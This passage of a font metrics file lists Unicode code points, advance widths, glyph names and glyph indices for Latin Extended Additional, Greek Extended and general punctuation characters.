U 7714 ; WX 872 ; N uni1E22 ; G 1452
U 7715 ; WX 644 ; N uni1E23 ; G 1453
U 7716 ; WX 872 ; N uni1E24 ; G 1454
U 7717 ; WX 644 ; N uni1E25 ; G 1455
U 7718 ; WX 872 ; N uni1E26 ; G 1456
U 7719 ; WX 644 ; N uni1E27 ; G 1457
U 7720 ; WX 872 ; N uni1E28 ; G 1458
U 7721 ; WX 644 ; N uni1E29 ; G 1459
U 7722 ; WX 872 ; N uni1E2A ; G 1460
U 7723 ; WX 644 ; N uni1E2B ; G 1461
U 7724 ; WX 395 ; N uni1E2C ; G 1462
U 7725 ; WX 320 ; N uni1E2D ; G 1463
U 7726 ; WX 395 ; N uni1E2E ; G 1464
U 7727 ; WX 320 ; N uni1E2F ; G 1465
U 7728 ; WX 747 ; N uni1E30 ; G 1466
U 7729 ; WX 606 ; N uni1E31 ; G 1467
U 7730 ; WX 747 ; N uni1E32 ; G 1468
U 7731 ; WX 606 ; N uni1E33 ; G 1469
U 7732 ; WX 747 ; N uni1E34 ; G 1470
U 7733 ; WX 606 ; N uni1E35 ; G 1471
U 7734 ; WX 664 ; N uni1E36 ; G 1472
U 7735 ; WX 320 ; N uni1E37 ; G 1473
U 7736 ; WX 664 ; N uni1E38 ; G 1474
U 7737 ; WX 320 ; N uni1E39 ; G 1475
U 7738 ; WX 664 ; N uni1E3A ; G 1476
U 7739 ; WX 320 ; N uni1E3B ; G 1477
U 7740 ; WX 664 ; N uni1E3C ; G 1478
U 7741 ; WX 320 ; N uni1E3D ; G 1479
U 7742 ; WX 1024 ; N uni1E3E ; G 1480
U 7743 ; WX 948 ; N uni1E3F ; G 1481
U 7744 ; WX 1024 ; N uni1E40 ; G 1482
U 7745 ; WX 948 ; N uni1E41 ; G 1483
U 7746 ; WX 1024 ; N uni1E42 ; G 1484
U 7747 ; WX 953 ; N uni1E43 ; G 1485
U 7748 ; WX 875 ; N uni1E44 ; G 1486
U 7749 ; WX 644 ; N uni1E45 ; G 1487
U 7750 ; WX 875 ; N uni1E46 ; G 1488
U 7751 ; WX 644 ; N uni1E47 ; G 1489
U 7752 ; WX 875 ; N uni1E48 ; G 1490
U 7753 ; WX 644 ; N uni1E49 ; G 1491
U 7754 ; WX 875 ; N uni1E4A ; G 1492
U 7755 ; WX 644 ; N uni1E4B ; G 1493
U 7756 ; WX 820 ; N uni1E4C ; G 1494
U 7757 ; WX 602 ; N uni1E4D ; G 1495
U 7758 ; WX 820 ; N uni1E4E ; G 1496
U 7759 ; WX 602 ; N uni1E4F ; G 1497
U 7760 ; WX 820 ; N uni1E50 ; G 1498
U 7761 ; WX 602 ; N uni1E51 ; G 1499
U 7762 ; WX 820 ; N uni1E52 ; G 1500
U 7763 ; WX 602 ; N uni1E53 ; G 1501
U 7764 ; WX 673 ; N uni1E54 ; G 1502
U 7765 ; WX 640 ; N uni1E55 ; G 1503
U 7766 ; WX 673 ; N uni1E56 ; G 1504
U 7767 ; WX 640 ; N uni1E57 ; G 1505
U 7768 ; WX 753 ; N uni1E58 ; G 1506
U 7769 ; WX 478 ; N uni1E59 ; G 1507
U 7770 ; WX 753 ; N uni1E5A ; G 1508
U 7771 ; WX 478 ; N uni1E5B ; G 1509
U 7772 ; WX 753 ; N uni1E5C ; G 1510
U 7773 ; WX 478 ; N uni1E5D ; G 1511
U 7774 ; WX 753 ; N uni1E5E ; G 1512
U 7775 ; WX 478 ; N uni1E5F ; G 1513
U 7776 ; WX 685 ; N uni1E60 ; G 1514
U 7777 ; WX 513 ; N uni1E61 ; G 1515
U 7778 ; WX 685 ; N uni1E62 ; G 1516
U 7779 ; WX 513 ; N uni1E63 ; G 1517
U 7780 ; WX 685 ; N uni1E64 ; G 1518
U 7781 ; WX 513 ; N uni1E65 ; G 1519
U 7782 ; WX 685 ; N uni1E66 ; G 1520
U 7783 ; WX 521 ; N uni1E67 ; G 1521
U 7784 ; WX 685 ; N uni1E68 ; G 1522
U 7785 ; WX 513 ; N uni1E69 ; G 1523
U 7786 ; WX 667 ; N uni1E6A ; G 1524
U 7787 ; WX 402 ; N uni1E6B ; G 1525
U 7788 ; WX 667 ; N uni1E6C ; G 1526
U 7789 ; WX 402 ; N uni1E6D ; G 1527
U 7790 ; WX 667 ; N uni1E6E ; G 1528
U 7791 ; WX 402 ; N uni1E6F ; G 1529
U 7792 ; WX 667 ; N uni1E70 ; G 1530
U 7793 ; WX 402 ; N uni1E71 ; G 1531
U 7794 ; WX 843 ; N uni1E72 ; G 1532
U 7795 ; WX 644 ; N uni1E73 ; G 1533
U 7796 ; WX 843 ; N uni1E74 ; G 1534
U 7797 ; WX 644 ; N uni1E75 ; G 1535
U 7798 ; WX 843 ; N uni1E76 ; G 1536
U 7799 ; WX 644 ; N uni1E77 ; G 1537
U 7800 ; WX 843 ; N uni1E78 ; G 1538
U 7801 ; WX 644 ; N uni1E79 ; G 1539
U 7802 ; WX 843 ; N uni1E7A ; G 1540
U 7803 ; WX 644 ; N uni1E7B ; G 1541
U 7804 ; WX 722 ; N uni1E7C ; G 1542
U 7805 ; WX 565 ; N uni1E7D ; G 1543
U 7806 ; WX 722 ; N uni1E7E ; G 1544
U 7807 ; WX 565 ; N uni1E7F ; G 1545
U 7808 ; WX 1028 ; N Wgrave ; G 1546
U 7809 ; WX 856 ; N wgrave ; G 1547
U 7810 ; WX 1028 ; N Wacute ; G 1548
U 7811 ; WX 856 ; N wacute ; G 1549
U 7812 ; WX 1028 ; N Wdieresis ; G 1550
U 7813 ; WX 856 ; N wdieresis ; G 1551
U 7814 ; WX 1028 ; N uni1E86 ; G 1552
U 7815 ; WX 856 ; N uni1E87 ; G 1553
U 7816 ; WX 1028 ; N uni1E88 ; G 1554
U 7817 ; WX 856 ; N uni1E89 ; G 1555
U 7818 ; WX 712 ; N uni1E8A ; G 1556
U 7819 ; WX 564 ; N uni1E8B ; G 1557
U 7820 ; WX 712 ; N uni1E8C ; G 1558
U 7821 ; WX 564 ; N uni1E8D ; G 1559
U 7822 ; WX 660 ; N uni1E8E ; G 1560
U 7823 ; WX 565 ; N uni1E8F ; G 1561
U 7824 ; WX 695 ; N uni1E90 ; G 1562
U 7825 ; WX 527 ; N uni1E91 ; G 1563
U 7826 ; WX 695 ; N uni1E92 ; G 1564
U 7827 ; WX 527 ; N uni1E93 ; G 1565
U 7828 ; WX 695 ; N uni1E94 ; G 1566
U 7829 ; WX 527 ; N uni1E95 ; G 1567
U 7830 ; WX 644 ; N uni1E96 ; G 1568
U 7831 ; WX 402 ; N uni1E97 ; G 1569
U 7832 ; WX 856 ; N uni1E98 ; G 1570
U 7833 ; WX 565 ; N uni1E99 ; G 1571
U 7834 ; WX 903 ; N uni1E9A ; G 1572
U 7835 ; WX 370 ; N uni1E9B ; G 1573
U 7836 ; WX 370 ; N uni1E9C ; G 1574
U 7837 ; WX 370 ; N uni1E9D ; G 1575
U 7838 ; WX 829 ; N uni1E9E ; G 1576
U 7839 ; WX 602 ; N uni1E9F ; G 1577
U 7840 ; WX 722 ; N uni1EA0 ; G 1578
U 7841 ; WX 596 ; N uni1EA1 ; G 1579
U 7842 ; WX 722 ; N uni1EA2 ; G 1580
U 7843 ; WX 596 ; N uni1EA3 ; G 1581
U 7844 ; WX 722 ; N uni1EA4 ; G 1582
U 7845 ; WX 613 ; N uni1EA5 ; G 1583
U 7846 ; WX 722 ; N uni1EA6 ; G 1584
U 7847 ; WX 613 ; N uni1EA7 ; G 1585
U 7848 ; WX 722 ; N uni1EA8 ; G 1586
U 7849 ; WX 613 ; N uni1EA9 ; G 1587
U 7850 ; WX 722 ; N uni1EAA ; G 1588
U 7851 ; WX 613 ; N uni1EAB ; G 1589
U 7852 ; WX 722 ; N uni1EAC ; G 1590
U 7853 ; WX 596 ; N uni1EAD ; G 1591
U 7854 ; WX 722 ; N uni1EAE ; G 1592
U 7855 ; WX 596 ; N uni1EAF ; G 1593
U 7856 ; WX 722 ; N uni1EB0 ; G 1594
U 7857 ; WX 596 ; N uni1EB1 ; G 1595
U 7858 ; WX 722 ; N uni1EB2 ; G 1596
U 7859 ; WX 596 ; N uni1EB3 ; G 1597
U 7860 ; WX 722 ; N uni1EB4 ; G 1598
U 7861 ; WX 596 ; N uni1EB5 ; G 1599
U 7862 ; WX 722 ; N uni1EB6 ; G 1600
U 7863 ; WX 596 ; N uni1EB7 ; G 1601
U 7864 ; WX 730 ; N uni1EB8 ; G 1602
U 7865 ; WX 592 ; N uni1EB9 ; G 1603
U 7866 ; WX 730 ; N uni1EBA ; G 1604
U 7867 ; WX 592 ; N uni1EBB ; G 1605
U 7868 ; WX 730 ; N uni1EBC ; G 1606
U 7869 ; WX 592 ; N uni1EBD ; G 1607
U 7870 ; WX 730 ; N uni1EBE ; G 1608
U 7871 ; WX 615 ; N uni1EBF ; G 1609
U 7872 ; WX 730 ; N uni1EC0 ; G 1610
U 7873 ; WX 615 ; N uni1EC1 ; G 1611
U 7874 ; WX 730 ; N uni1EC2 ; G 1612
U 7875 ; WX 615 ; N uni1EC3 ; G 1613
U 7876 ; WX 730 ; N uni1EC4 ; G 1614
U 7877 ; WX 615 ; N uni1EC5 ; G 1615
U 7878 ; WX 730 ; N uni1EC6 ; G 1616
U 7879 ; WX 592 ; N uni1EC7 ; G 1617
U 7880 ; WX 395 ; N uni1EC8 ; G 1618
U 7881 ; WX 320 ; N uni1EC9 ; G 1619
U 7882 ; WX 395 ; N uni1ECA ; G 1620
U 7883 ; WX 320 ; N uni1ECB ; G 1621
U 7884 ; WX 820 ; N uni1ECC ; G 1622
U 7885 ; WX 602 ; N uni1ECD ; G 1623
U 7886 ; WX 820 ; N uni1ECE ; G 1624
U 7887 ; WX 602 ; N uni1ECF ; G 1625
U 7888 ; WX 820 ; N uni1ED0 ; G 1626
U 7889 ; WX 612 ; N uni1ED1 ; G 1627
U 7890 ; WX 820 ; N uni1ED2 ; G 1628
U 7891 ; WX 612 ; N uni1ED3 ; G 1629
U 7892 ; WX 820 ; N uni1ED4 ; G 1630
U 7893 ; WX 612 ; N uni1ED5 ; G 1631
U 7894 ; WX 820 ; N uni1ED6 ; G 1632
U 7895 ; WX 612 ; N uni1ED7 ; G 1633
U 7896 ; WX 820 ; N uni1ED8 ; G 1634
U 7897 ; WX 602 ; N uni1ED9 ; G 1635
U 7898 ; WX 820 ; N uni1EDA ; G 1636
U 7899 ; WX 602 ; N uni1EDB ; G 1637
U 7900 ; WX 820 ; N uni1EDC ; G 1638
U 7901 ; WX 602 ; N uni1EDD ; G 1639
U 7902 ; WX 820 ; N uni1EDE ; G 1640
U 7903 ; WX 602 ; N uni1EDF ; G 1641
U 7904 ; WX 820 ; N uni1EE0 ; G 1642
U 7905 ; WX 602 ; N uni1EE1 ; G 1643
U 7906 ; WX 820 ; N uni1EE2 ; G 1644
U 7907 ; WX 602 ; N uni1EE3 ; G 1645
U 7908 ; WX 843 ; N uni1EE4 ; G 1646
U 7909 ; WX 644 ; N uni1EE5 ; G 1647
U 7910 ; WX 843 ; N uni1EE6 ; G 1648
U 7911 ; WX 644 ; N uni1EE7 ; G 1649
U 7912 ; WX 843 ; N uni1EE8 ; G 1650
U 7913 ; WX 644 ; N uni1EE9 ; G 1651
U 7914 ; WX 843 ; N uni1EEA ; G 1652
U 7915 ; WX 644 ; N uni1EEB ; G 1653
U 7916 ; WX 843 ; N uni1EEC ; G 1654
U 7917 ; WX 644 ; N uni1EED ; G 1655
U 7918 ; WX 843 ; N uni1EEE ; G 1656
U 7919 ; WX 644 ; N uni1EEF ; G 1657
U 7920 ; WX 843 ; N uni1EF0 ; G 1658
U 7921 ; WX 644 ; N uni1EF1 ; G 1659
U 7922 ; WX 660 ; N Ygrave ; G 1660
U 7923 ; WX 565 ; N ygrave ; G 1661
U 7924 ; WX 660 ; N uni1EF4 ; G 1662
U 7925 ; WX 565 ; N uni1EF5 ; G 1663
U 7926 ; WX 660 ; N uni1EF6 ; G 1664
U 7927 ; WX 565 ; N uni1EF7 ; G 1665
U 7928 ; WX 660 ; N uni1EF8 ; G 1666
U 7929 ; WX 565 ; N uni1EF9 ; G 1667
U 7930 ; WX 949 ; N uni1EFA ; G 1668
U 7931 ; WX 581 ; N uni1EFB ; G 1669
U 7936 ; WX 675 ; N uni1F00 ; G 1670
U 7937 ; WX 675 ; N uni1F01 ; G 1671
U 7938 ; WX 675 ; N uni1F02 ; G 1672
U 7939 ; WX 675 ; N uni1F03 ; G 1673
U 7940 ; WX 675 ; N uni1F04 ; G 1674
U 7941 ; WX 675 ; N uni1F05 ; G 1675
U 7942 ; WX 675 ; N uni1F06 ; G 1676
U 7943 ; WX 675 ; N uni1F07 ; G 1677
U 7944 ; WX 722 ; N uni1F08 ; G 1678
U 7945 ; WX 722 ; N uni1F09 ; G 1679
U 7946 ; WX 869 ; N uni1F0A ; G 1680
U 7947 ; WX 869 ; N uni1F0B ; G 1681
U 7948 ; WX 734 ; N uni1F0C ; G 1682
U 7949 ; WX 763 ; N uni1F0D ; G 1683
U 7950 ; WX 722 ; N uni1F0E ; G 1684
U 7951 ; WX 722 ; N uni1F0F ; G 1685
U 7952 ; WX 537 ; N uni1F10 ; G 1686
U 7953 ; WX 537 ; N uni1F11 ; G 1687
U 7954 ; WX 537 ; N uni1F12 ; G 1688
U 7955 ; WX 537 ; N uni1F13 ; G 1689
U 7956 ; WX 537 ; N uni1F14 ; G 1690
U 7957 ; WX 537 ; N uni1F15 ; G 1691
U 7960 ; WX 853 ; N uni1F18 ; G 1692
U 7961 ; WX 841 ; N uni1F19 ; G 1693
U 7962 ; WX 1067 ; N uni1F1A ; G 1694
U 7963 ; WX 1077 ; N uni1F1B ; G 1695
U 7964 ; WX 1008 ; N uni1F1C ; G 1696
U 7965 ; WX 1035 ; N uni1F1D ; G 1697
U 7968 ; WX 599 ; N uni1F20 ; G 1698
U 7969 ; WX 599 ; N uni1F21 ; G 1699
U 7970 ; WX 599 ; N uni1F22 ; G 1700
U 7971 ; WX 599 ; N uni1F23 ; G 1701
U 7972 ; WX 599 ; N uni1F24 ; G 1702
U 7973 ; WX 599 ; N uni1F25 ; G 1703
U 7974 ; WX 599 ; N uni1F26 ; G 1704
U 7975 ; WX 599 ; N uni1F27 ; G 1705
U 7976 ; WX 998 ; N uni1F28 ; G 1706
U 7977 ; WX 992 ; N uni1F29 ; G 1707
U 7978 ; WX 1212 ; N uni1F2A ; G 1708
U 7979 ; WX 1224 ; N uni1F2B ; G 1709
U 7980 ; WX 1159 ; N uni1F2C ; G 1710
U 7981 ; WX 1183 ; N uni1F2D ; G 1711
U 7982 ; WX 1098 ; N uni1F2E ; G 1712
U 7983 ; WX 1095 ; N uni1F2F ; G 1713
U 7984 ; WX 392 ; N uni1F30 ; G 1714
U 7985 ; WX 392 ; N uni1F31 ; G 1715
U 7986 ; WX 392 ; N uni1F32 ; G 1716
U 7987 ; WX 392 ; N uni1F33 ; G 1717
U 7988 ; WX 392 ; N uni1F34 ; G 1718
U 7989 ; WX 392 ; N uni1F35 ; G 1719
U 7990 ; WX 392 ; N uni1F36 ; G 1720
U 7991 ; WX 392 ; N uni1F37 ; G 1721
U 7992 ; WX 521 ; N uni1F38 ; G 1722
U 7993 ; WX 512 ; N uni1F39 ; G 1723
U 7994 ; WX 735 ; N uni1F3A ; G 1724
U 7995 ; WX 738 ; N uni1F3B ; G 1725
U 7996 ; WX 679 ; N uni1F3C ; G 1726
U 7997 ; WX 706 ; N uni1F3D ; G 1727
U 7998 ; WX 624 ; N uni1F3E ; G 1728
U 7999 ; WX 615 ; N uni1F3F ; G 1729
U 8000 ; WX 602 ; N uni1F40 ; G 1730
U 8001 ; WX 602 ; N uni1F41 ; G 1731
U 8002 ; WX 602 ; N uni1F42 ; G 1732
U 8003 ; WX 602 ; N uni1F43 ; G 1733
U 8004 ; WX 602 ; N uni1F44 ; G 1734
U 8005 ; WX 602 ; N uni1F45 ; G 1735
U 8008 ; WX 820 ; N uni1F48 ; G 1736
U 8009 ; WX 859 ; N uni1F49 ; G 1737
U 8010 ; WX 1120 ; N uni1F4A ; G 1738
U 8011 ; WX 1127 ; N uni1F4B ; G 1739
U 8012 ; WX 937 ; N uni1F4C ; G 1740
U 8013 ; WX 964 ; N uni1F4D ; G 1741
U 8016 ; WX 608 ; N uni1F50 ; G 1742
U 8017 ; WX 608 ; N uni1F51 ; G 1743
U 8018 ; WX 608 ; N uni1F52 ; G 1744
U 8019 ; WX 608 ; N uni1F53 ; G 1745
U 8020 ; WX 608 ; N uni1F54 ; G 1746
U 8021 ; WX 608 ; N uni1F55 ; G 1747
U 8022 ; WX 608 ; N uni1F56 ; G 1748
U 8023 ; WX 608 ; N uni1F57 ; G 1749
U 8025 ; WX 851 ; N uni1F59 ; G 1750
U 8027 ; WX 1079 ; N uni1F5B ; G 1751
U 8029 ; WX 1044 ; N uni1F5D ; G 1752
U 8031 ; WX 953 ; N uni1F5F ; G 1753
U 8032 ; WX 815 ; N uni1F60 ; G 1754
U 8033 ; WX 815 ; N uni1F61 ; G 1755
U 8034 ; WX 815 ; N uni1F62 ; G 1756
U 8035 ; WX 815 ; N uni1F63 ; G 1757
U 8036 ; WX 815 ; N uni1F64 ; G 1758
U 8037 ; WX 815 ; N uni1F65 ; G 1759
U 8038 ; WX 815 ; N uni1F66 ; G 1760
U 8039 ; WX 815 ; N uni1F67 ; G 1761
U 8040 ; WX 829 ; N uni1F68 ; G 1762
U 8041 ; WX 870 ; N uni1F69 ; G 1763
U 8042 ; WX 1131 ; N uni1F6A ; G 1764
U 8043 ; WX 1137 ; N uni1F6B ; G 1765
U 8044 ; WX 946 ; N uni1F6C ; G 1766
U 8045 ; WX 976 ; N uni1F6D ; G 1767
U 8046 ; WX 938 ; N uni1F6E ; G 1768
U 8047 ; WX 970 ; N uni1F6F ; G 1769
U 8048 ; WX 675 ; N uni1F70 ; G 1770
U 8049 ; WX 675 ; N uni1F71 ; G 1771
U 8050 ; WX 537 ; N uni1F72 ; G 1772
U 8051 ; WX 537 ; N uni1F73 ; G 1773
U 8052 ; WX 599 ; N uni1F74 ; G 1774
U 8053 ; WX 599 ; N uni1F75 ; G 1775
U 8054 ; WX 392 ; N uni1F76 ; G 1776
U 8055 ; WX 392 ; N uni1F77 ; G 1777
U 8056 ; WX 602 ; N uni1F78 ; G 1778
U 8057 ; WX 602 ; N uni1F79 ; G 1779
U 8058 ; WX 608 ; N uni1F7A ; G 1780
U 8059 ; WX 608 ; N uni1F7B ; G 1781
U 8060 ; WX 815 ; N uni1F7C ; G 1782
U 8061 ; WX 815 ; N uni1F7D ; G 1783
U 8064 ; WX 675 ; N uni1F80 ; G 1784
U 8065 ; WX 675 ; N uni1F81 ; G 1785
U 8066 ; WX 675 ; N uni1F82 ; G 1786
U 8067 ; WX 675 ; N uni1F83 ; G 1787
U 8068 ; WX 675 ; N uni1F84 ; G 1788
U 8069 ; WX 675 ; N uni1F85 ; G 1789
U 8070 ; WX 675 ; N uni1F86 ; G 1790
U 8071 ; WX 675 ; N uni1F87 ; G 1791
U 8072 ; WX 722 ; N uni1F88 ; G 1792
U 8073 ; WX 722 ; N uni1F89 ; G 1793
U 8074 ; WX 869 ; N uni1F8A ; G 1794
U 8075 ; WX 869 ; N uni1F8B ; G 1795
U 8076 ; WX 734 ; N uni1F8C ; G 1796
U 8077 ; WX 763 ; N uni1F8D ; G 1797
U 8078 ; WX 722 ; N uni1F8E ; G 1798
U 8079 ; WX 722 ; N uni1F8F ; G 1799
U 8080 ; WX 599 ; N uni1F90 ; G 1800
U 8081 ; WX 599 ; N uni1F91 ; G 1801
U 8082 ; WX 599 ; N uni1F92 ; G 1802
U 8083 ; WX 599 ; N uni1F93 ; G 1803
U 8084 ; WX 599 ; N uni1F94 ; G 1804
U 8085 ; WX 599 ; N uni1F95 ; G 1805
U 8086 ; WX 599 ; N uni1F96 ; G 1806
U 8087 ; WX 599 ; N uni1F97 ; G 1807
U 8088 ; WX 998 ; N uni1F98 ; G 1808
U 8089 ; WX 992 ; N uni1F99 ; G 1809
U 8090 ; WX 1212 ; N uni1F9A ; G 1810
U 8091 ; WX 1224 ; N uni1F9B ; G 1811
U 8092 ; WX 1159 ; N uni1F9C ; G 1812
U 8093 ; WX 1183 ; N uni1F9D ; G 1813
U 8094 ; WX 1098 ; N uni1F9E ; G 1814
U 8095 ; WX 1095 ; N uni1F9F ; G 1815
U 8096 ; WX 815 ; N uni1FA0 ; G 1816
U 8097 ; WX 815 ; N uni1FA1 ; G 1817
U 8098 ; WX 815 ; N uni1FA2 ; G 1818
U 8099 ; WX 815 ; N uni1FA3 ; G 1819
U 8100 ; WX 815 ; N uni1FA4 ; G 1820
U 8101 ; WX 815 ; N uni1FA5 ; G 1821
U 8102 ; WX 815 ; N uni1FA6 ; G 1822
U 8103 ; WX 815 ; N uni1FA7 ; G 1823
U 8104 ; WX 829 ; N uni1FA8 ; G 1824
U 8105 ; WX 870 ; N uni1FA9 ; G 1825
U 8106 ; WX 1131 ; N uni1FAA ; G 1826
U 8107 ; WX 1137 ; N uni1FAB ; G 1827
U 8108 ; WX 946 ; N uni1FAC ; G 1828
U 8109 ; WX 976 ; N uni1FAD ; G 1829
U 8110 ; WX 938 ; N uni1FAE ; G 1830
U 8111 ; WX 970 ; N uni1FAF ; G 1831
U 8112 ; WX 675 ; N uni1FB0 ; G 1832
U 8113 ; WX 675 ; N uni1FB1 ; G 1833
U 8114 ; WX 675 ; N uni1FB2 ; G 1834
U 8115 ; WX 675 ; N uni1FB3 ; G 1835
U 8116 ; WX 675 ; N uni1FB4 ; G 1836
U 8118 ; WX 675 ; N uni1FB6 ; G 1837
U 8119 ; WX 675 ; N uni1FB7 ; G 1838
U 8120 ; WX 722 ; N uni1FB8 ; G 1839
U 8121 ; WX 722 ; N uni1FB9 ; G 1840
U 8122 ; WX 722 ; N uni1FBA ; G 1841
U 8123 ; WX 722 ; N uni1FBB ; G 1842
U 8124 ; WX 722 ; N uni1FBC ; G 1843
U 8125 ; WX 500 ; N uni1FBD ; G 1844
U 8126 ; WX 500 ; N uni1FBE ; G 1845
U 8127 ; WX 500 ; N uni1FBF ; G 1846
U 8128 ; WX 500 ; N uni1FC0 ; G 1847
U 8129 ; WX 500 ; N uni1FC1 ; G 1848
U 8130 ; WX 599 ; N uni1FC2 ; G 1849
U 8131 ; WX 599 ; N uni1FC3 ; G 1850
U 8132 ; WX 599 ; N uni1FC4 ; G 1851
U 8134 ; WX 599 ; N uni1FC6 ; G 1852
U 8135 ; WX 599 ; N uni1FC7 ; G 1853
U 8136 ; WX 912 ; N uni1FC8 ; G 1854
U 8137 ; WX 900 ; N uni1FC9 ; G 1855
U 8138 ; WX 1063 ; N uni1FCA ; G 1856
U 8139 ; WX 1039 ; N uni1FCB ; G 1857
U 8140 ; WX 872 ; N uni1FCC ; G 1858
U 8141 ; WX 500 ; N uni1FCD ; G 1859
U 8142 ; WX 500 ; N uni1FCE ; G 1860
U 8143 ; WX 500 ; N uni1FCF ; G 1861
U 8144 ; WX 392 ; N uni1FD0 ; G 1862
U 8145 ; WX 392 ; N uni1FD1 ; G 1863
U 8146 ; WX 392 ; N uni1FD2 ; G 1864
U 8147 ; WX 392 ; N uni1FD3 ; G 1865
U 8150 ; WX 392 ; N uni1FD6 ; G 1866
U 8151 ; WX 392 ; N uni1FD7 ; G 1867
U 8152 ; WX 395 ; N uni1FD8 ; G 1868
U 8153 ; WX 395 ; N uni1FD9 ; G 1869
U 8154 ; WX 588 ; N uni1FDA ; G 1870
U 8155 ; WX 562 ; N uni1FDB ; G 1871
U 8157 ; WX 500 ; N uni1FDD ; G 1872
U 8158 ; WX 500 ; N uni1FDE ; G 1873
U 8159 ; WX 500 ; N uni1FDF ; G 1874
U 8160 ; WX 608 ; N uni1FE0 ; G 1875
U 8161 ; WX 608 ; N uni1FE1 ; G 1876
U 8162 ; WX 608 ; N uni1FE2 ; G 1877
U 8163 ; WX 608 ; N uni1FE3 ; G 1878
U 8164 ; WX 588 ; N uni1FE4 ; G 1879
U 8165 ; WX 588 ; N uni1FE5 ; G 1880
U 8166 ; WX 608 ; N uni1FE6 ; G 1881
U 8167 ; WX 608 ; N uni1FE7 ; G 1882
U 8168 ; WX 660 ; N uni1FE8 ; G 1883
U 8169 ; WX 660 ; N uni1FE9 ; G 1884
U 8170 ; WX 921 ; N uni1FEA ; G 1885
U 8171 ; WX 897 ; N uni1FEB ; G 1886
U 8172 ; WX 790 ; N uni1FEC ; G 1887
U 8173 ; WX 500 ; N uni1FED ; G 1888
U 8174 ; WX 500 ; N uni1FEE ; G 1889
U 8175 ; WX 500 ; N uni1FEF ; G 1890
U 8178 ; WX 815 ; N uni1FF2 ; G 1891
U 8179 ; WX 815 ; N uni1FF3 ; G 1892
U 8180 ; WX 815 ; N uni1FF4 ; G 1893
U 8182 ; WX 815 ; N uni1FF6 ; G 1894
U 8183 ; WX 815 ; N uni1FF7 ; G 1895
U 8184 ; WX 961 ; N uni1FF8 ; G 1896
U 8185 ; WX 835 ; N uni1FF9 ; G 1897
U 8186 ; WX 984 ; N uni1FFA ; G 1898
U 8187 ; WX 853 ; N uni1FFB ; G 1899
U 8188 ; WX 829 ; N uni1FFC ; G 1900
U 8189 ; WX 500 ; N uni1FFD ; G 1901
U 8190 ; WX 500 ; N uni1FFE ; G 1902
U 8192 ; WX 500 ; N uni2000 ; G 1903
U 8193 ; WX 1000 ; N uni2001 ; G 1904
U 8194 ; WX 500 ; N uni2002 ; G 1905
U 8195 ; WX 1000 ; N uni2003 ; G 1906
U 8196 ; WX 330 ; N uni2004 ; G 1907
U 8197 ; WX 250 ; N uni2005 ; G 1908
U 8198 ; WX 167 ; N uni2006 ; G 1909
U 8199 ; WX 636 ; N uni2007 ; G 1910
U 8200 ; WX 318 ; N uni2008 ; G 1911
U 8201 ; WX 200 ; N uni2009 ; G 1912
U 8202 ; WX 100 ; N uni200A ; G 1913
U 8203 ; WX 0 ; N uni200B ; G 1914
U 8204 ; WX 0 ; N uni200C ; G 1915
U 8205 ; WX 0 ; N uni200D ; G 1916
U 8206 ; WX 0 ; N uni200E ; G 1917
U 8207 ; WX 0 ; N uni200F ; G 1918
U 8208 ; WX 338 ; N uni2010 ; G 1919
U 8209 ; WX 338 ; N uni2011 ; G 1920
U 8210 ; WX 636 ; N figuredash ; G 1921
U 8211 ; WX 500 ; N endash ; G 1922
U 8212 ; WX 1000 ; N emdash ; G 1923
U 8213 ; WX 1000 ; N uni2015 ; G 1924
U 8214 ; WX 500 ; N uni2016 ; G 1925
U 8215 ; WX 500 ; N underscoredbl ; G 1926
U 8216 ; WX 318 ; N quoteleft ; G 1927
U 8217 ; WX 318 ; N quoteright ; G 1928
U 8218 ; WX 318 ; N quotesinglbase ; G 1929
U 8219 ; WX 318 ; N quotereversed ; G 1930
U 8220 ; WX 511 ; N quotedblleft ; G 1931
U 8221 ; WX 511 ; N quotedblright ; G 1932
U 8222 ; WX 518 ; N quotedblbase ; G 1933
U 8223 ; WX 511 ; N uni201F ; G 1934
U 8224 ; WX 500 ; N dagger ; G 1935
U 8225 ; WX 500 ; N daggerdbl ; G 1936
U 8226 ; WX 590 ; N bullet ; G 1937
U 8227 ; WX 590 ; N uni2023 ; G 1938
U 8228 ; WX 334 ; N onedotenleader ; G 1939
U 8229 ; WX 667 ; N twodotenleader ; G 1940
U 8230 ; WX 1000 ; N ellipsis ; G 1941
U 8234 ; WX 0 ; N uni202A ; G 1942
U 8235 ; WX 0 ; N uni202B ; G 1943
U 8236 ; WX 0 ; N uni202C ; G 1944
U 8237 ; WX 0 ; N uni202D ; G 1945
U 8238 ; WX 0 ; N uni202E ; G 1946
U 8239 ; WX 200 ; N uni202F ; G 1947
U 8240 ; WX 1342 ; N perthousand ; G 1948
U 8241 ; WX 1734 ; N uni2031 ; G 1949
U 8242 ; WX 227 ; N minute ; G 1950
U 8243 ; WX 374 ; N second ; G 1951
U 8244 ; WX 520 ; N uni2034 ; G 1952
U 8245 ; WX 227 ; N uni2035 ; G 1953
U 8246 ; WX 374 ; N uni2036 ; G 1954
U 8247 ; WX 520 ; N uni2037 ; G 1955
U 8248 ; WX 339 ; N uni2038 ; G 1956
U 8249 ; WX 400 ; N guilsinglleft ; G 1957
U 8250 ; WX 400 ; N guilsinglright ; G 1958
U 8252 ; WX 527 ; N exclamdbl ; G 1959
U 8253 ; WX 536 ; N uni203D ; G 1960
U 8254 ; WX 500 ; N uni203E ; G 1961
U 8258 ; WX 1000 ; N uni2042 ; G 1962
U 8260 ; WX 167 ; N fraction ; G 1963
U 8261 ; WX 390 ; N uni2045 ; G 1964
U 8262 ; WX 390 ; N uni2046 ; G 1965
U 8263 ; WX 976 ; N uni2047 ; G 1966
U 8264 ; WX 753 ; N uni2048 ; G 1967
U 8265 ; WX 753 ; N uni2049 ; G 1968
U 8267 ; WX 636 ; N uni204B ; G 1969
U 8268 ; WX 500 ; N uni204C ; G 1970
U 8269 ; WX 500 ; N uni204D ; G 1971
U 8270 ; WX 500 ; N uni204E ; G 1972
U 8271 ; WX 337 ; N uni204F ; G 1973
U 8273 ; WX 500 ; N uni2051 ; G 1974
U 8274 ; WX 450 ; N uni2052 ; G 1975
U 8275 ; WX 1000 ; N uni2053 ; G 1976
U 8279 ; WX 663 ; N uni2057 ; G 1977
U 8287 ; WX 222 ; N uni205F ; G 1978
U 8288 ; WX 0 ; N uni2060 ; G 1979
U 8289 ; WX 0 ; N uni2061 ; G 1980
U 8290 ; WX 0 ; N uni2062 ; G 1981
U 8291 ; WX 0 ; N uni2063 ; G 1982
U 8292 ; WX 0 ; N uni2064 ; G 1983
U 8298 ; WX 0 ; N uni206A ; G 1984
U 8299 ; WX 0 ; N uni206B ; G 1985
